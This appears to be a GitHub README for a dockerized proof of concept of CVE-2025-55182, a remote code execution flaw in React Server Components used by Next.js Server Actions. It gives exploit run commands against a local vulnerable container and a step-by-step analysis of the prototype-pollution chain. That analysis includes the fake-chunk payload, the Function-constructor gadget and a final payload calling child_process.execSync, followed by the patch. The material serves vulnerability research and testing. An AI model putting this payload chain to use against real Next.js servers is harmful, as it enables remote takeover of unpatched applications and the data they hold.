
Dockerized proof-of-concept for CVE-2025-55182, a critical RCE in React Server Components via prototype pollution, with automated exploit scripts and a vulnerable Next.js test environment.
This repository contains a dockerized proof of concept for CVE-2025-55182, a critical remote code execution vulnerability in React Server Components (RSC) that affects Next.js applications using Server Actions.
The original proof of concept and vulnerability analysis was created by msanft. This repository extends their work by providing a dockerized test environment for easier testing and demonstration.
requests library (pip install requests)Start the vulnerable Next.js server:
docker compose up --build -d
Wait for the server to start (check logs with docker compose logs -f nextjs-server)
Run the exploit:
# Automated script (recommended)
./exploit-docker.sh
# Or manually
ACTION_ID=$(curl -s http://localhost:3000 | grep -o '[a-f0-9]\{40\}' | head -1)
python3 poc.py http://localhost:3000 "$ACTION_ID" "touch /tmp/rce_test"
Verify the exploit worked:
docker compose exec nextjs-server ls -la /tmp/rce_test
# Create a file
python3 poc.py http://localhost:3000 "$ACTION_ID" "touch /tmp/rce_test"
# Write to a file
python3 poc.py http://localhost:3000 "$ACTION_ID" "echo 'RCE_SUCCESS' > /tmp/rce_output"
# Check current user
python3 poc.py http://localhost:3000 "$ACTION_ID" "whoami > /tmp/rce_user"
# Verify results
docker compose exec nextjs-server cat /tmp/rce_output
docker compose exec nextjs-server cat /tmp/rce_user
nextjs user (UID 1001) inside the containerThis repository includes a complete Docker setup for testing the vulnerability:
docker-compose.yml - Docker Compose configurationtest-server/ - Vulnerable Next.js applicationtest-server/Dockerfile - Production Dockerfiletest-server/Dockerfile.dev - Development Dockerfile (optional)The vulnerable server runs Next.js 16.0.6 with a simple Server Action that can be exploited.
poc.py - Python proof of concept script (original by msanft, with quote escaping fixes)exploit-docker.sh - Automated exploit script for Docker environmentDOCKER_SETUP.md - Comprehensive Docker setup documentation# Stop the container
docker compose down
# Remove everything (including volumes)
docker compose down -v
The detailed vulnerability analysis, exploitation chain, and patch information from the original research is provided below.
This vulnerability allows RCE in React Server Functions, e.g. as offered by Next.js through insecure prototype references.
I'm not an expert in React or Next.js, so take all the information here with a grain of salt. Furthermore, I'm still in the analysis process, so what I depict below as "the vulnerability" might only be a small part of the full chain.
React offers Server Functions1, which can be seen as sort of an RPC- over-HTTP. They can be used to fetch data from adjacent peers to ensure low latency, or perform authenticated requests that the client lacks credentials for.
React uses something called the React Flight Protocol2 for serialization of values passed to Server Functions.
The client passes "chunks" to the server, e.g. via form data:
files = {
"0": (None, '["$1"]'),
"1": (None, '{"object":"fruit","name":"$2:fruitName"}'),
"2": (None, '{"fruitName":"cherry"}'),
}
As shown, these can have references in between each other. The above payload deserializes to the following on the server:
{ object: 'fruit', name: 'cherry' }
The format itself is a little more intricate and allows for more complex serialization and deserialization, but this provides a basic understanding for the actual vulnerability.
Until this commit3, when traversing chunks in reference resolving,
such as getting the fruitName from chunk 2 in the above example, React
didn't verify whether the requested key was actually set on the object.
This allowed us to get the object prototype4.
This can be demonstrated with a payload like this:
files = {
"0": (None, '["$1:__proto__:constructor:constructor"]'),
"1": (None, '{"x":1}'),
}
Which deserializes to the function constructor5:
[Function: Function]
When the chunk with ID 0 is not an array but an object, we can
set the then key to the function constructor. The object is then
returned by the decodeReplyFromBusboy function and awaited by Next.js:
// action-handler.ts:888 (pre-patch)
boundActionArguments = await decodeReplyFromBusboy(
busboy,
serverModuleMap,
{ temporaryReferences }
)
When this returns a thenable, the await in the caller will call it.
This is what happens with this payload:
files = {
"0": (None, '{"then":"$1:__proto__:constructor:constructor"}'),
"1": (None, '{"x":1}'),
}
Leading to this error:
SyntaxError: Unexpected token 'function'
at Object.Function [as then] (<anonymous>) {
digest: '1259793845'
}
The error looks like this since V8 calls an awaited function
with the internal resolve and reject functions, which, when
toStringed, serialize to something like this:
function () { [native code] }
Since we can trivially retrieve the Function constructor, the
straightforward way is to find a call gadget that invokes the
constructor with a user-controlled value (i.e., the code of the
function as a string), and later calls the returned function.
There are multiple places that can call the function constructor,
for example resolveServerReference, where id is a controlled object,
and lastIndexOf can be overwritten to return a user-controlled string
(e.g. via Array.prototype.join) and slice can be overwritten to the
function constructor. However, this place doesn't work as the second
invocation of .slice() supplies a number as the first argument,
which -to my best knowledge- can never be handled by the function
constructor.
Here, a brilliant idea from maple31426 comes in. When getChunk
grabs the chunk at ID 0 as the root reference to start resolving the
reference chain, this very same chunk can resolve to a crafted
"fake chunk".
We can reference the crafted chunk 0 in chunk 1 by using the
$@ syntax, which returns the "raw" chunk, not it's resolved value:
case "@":
return (
(obj = parseInt(value.slice(2), 16)), getChunk(response, obj)
);
Combining this with our then overwrite from above, we can craft
something like this:
files = {
"0": (None, '{"then": "$1:__proto__:then"}'),
"1": (None, '"$@0"'),
}
Here, chunk 0 overwrites its own .then() with the .then() of
its own raw chunk representation. Put simply, we overwrite our
own .then() with Chunk.prototype.then, which exists, since
Chunks are thenables:
Chunk.prototype.then = function (resolve, reject) {
switch (this.status) {
case "resolved_model":
initializeModelChunk(this);
}
// ...
With the above payload, Chunk.prototype.then is eventually called
with the crafted chunk with ID 0.
As shown above, when .status on our fake chunk is resolved_model:
files = {
"0": (None, '{"then": "$1:__proto__:then", "status": "resolved_model"}'),
"1": (None, '"$@0"'),
}
We get into initializeModelChunk. Here, .value is parsed as JSON,
and then references are resolved on the returned object, using the "outer"
context of our chunks with IDs 0 and 1:
function initializeModelChunk(chunk) {
// ...
var rawModel = JSON.parse(resolvedModel),
value = reviveModel(chunk._response, { "": rawModel }, "", rawModel, rootReference);
// ...
Within this, we now get a second pass of evaluation with a little more values we have access to due to the outer context already being resolved.
There is a call gadget in the handling of blob data with the $B prefix
in the flight protocol:
case "B":
return (
(obj = parseInt(value.slice(2), 16)),
response._formData.get(response._prefix + obj)
);
Using the special _response field, we control the response property
of the crafted chunk:
// in initializeModelChunk
value = reviveModel(chunk._response, // ...
With this, we can craft an object with fake ._formData and ._prefix
properties:
crafted_chunk = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}',
"_response": {
"_prefix": f"return foo; // ",
"_formData": {
"get": "$1:constructor:constructor",
},
},
}
The .reason needs to be added to circumvent failing on the toString
invocation in `initializeModelChunk:
var rootReference = -1 === chunk.reason ? void 0 : chunk.reason.toString(16), resolvedModel = chunk.value;
By pointing ._formData to the function constructor, and ._prefix to
our code, we get an invocation gadget for the function constructor in
the blob deserialization:
response._formData.get(response._prefix + "0")
// becomes
Function("return foo; // 0")
Our crafted function is then returned by parseModelString as the
.then() method of the crafted chunk, which is also awaited, since
all of this takes place in a single promise resolving chain. Thus,
returning a thenable, our crafted function gets called. This constitutes
the required call gadget referenced above.
Putting this all together with an actual RCE payload, we get something like this:
crafted_chunk = {
"then": "$1:__proto__:then",
"status": "resolved_model",
# "reason": -1,
"value": '{"then": "$B0"}',
"_response": {
"_prefix": f"process.mainModule.require('child_process').execSync('calc');",
"_formData": {
"get": "$1:constructor:constructor",
},
},
}
files = {
"0": (None, json.dumps(crafted_chunk)),
"1": (None, '"$@0"'),
}
Using the chunk references to retrieve prototype properties is fixed with this check:
@@ -78,7 +80,10 @@ export function preloadModule<T>(
export function requireModule<T>(metadata: ClientReference<T>): T {
const moduleExports = parcelRequire(metadata[ID]);
- return moduleExports[metadata[NAME]];
+ if (hasOwnProperty.call(moduleExports, metadata[NAME])) {
+ return moduleExports[metadata[NAME]];
+ }
+ return (undefined: any);
}
https://raw.githubusercontent.com/clevernyyyy/cve-2025-55182-dockerized/main/%3Chttps:/react.dev/reference/rsc/server-functions%3E ↩
https://raw.githubusercontent.com/clevernyyyy/cve-2025-55182-dockerized/main/%3Chttps:/tonyalicea.dev/blog/understanding-react-server-components/%3E ↩
https://raw.githubusercontent.com/clevernyyyy/cve-2025-55182-dockerized/main/%3Chttps:/github.com/facebook/react/pull/35277/commits/e2fd5dc6ad973dd3f220056404d0ae0a8707998d%3E ↩
https://raw.githubusercontent.com/clevernyyyy/cve-2025-55182-dockerized/main/%3Chttps:/developer.mozilla.org/en-US/docs/Learn_web_development/Extensions/Advanced_JavaScript_objects/Object_prototypes%3E ↩
https://raw.githubusercontent.com/clevernyyyy/cve-2025-55182-dockerized/main/%3Chttps:/developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/Function%3E ↩
https://raw.githubusercontent.com/clevernyyyy/cve-2025-55182-dockerized/main/%3Chttps:/x.com/maple3142%3E ↩
https://raw.githubusercontent.com/clevernyyyy/cve-2025-55182-dockerized/main/%3Chttps:/react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components%3E ↩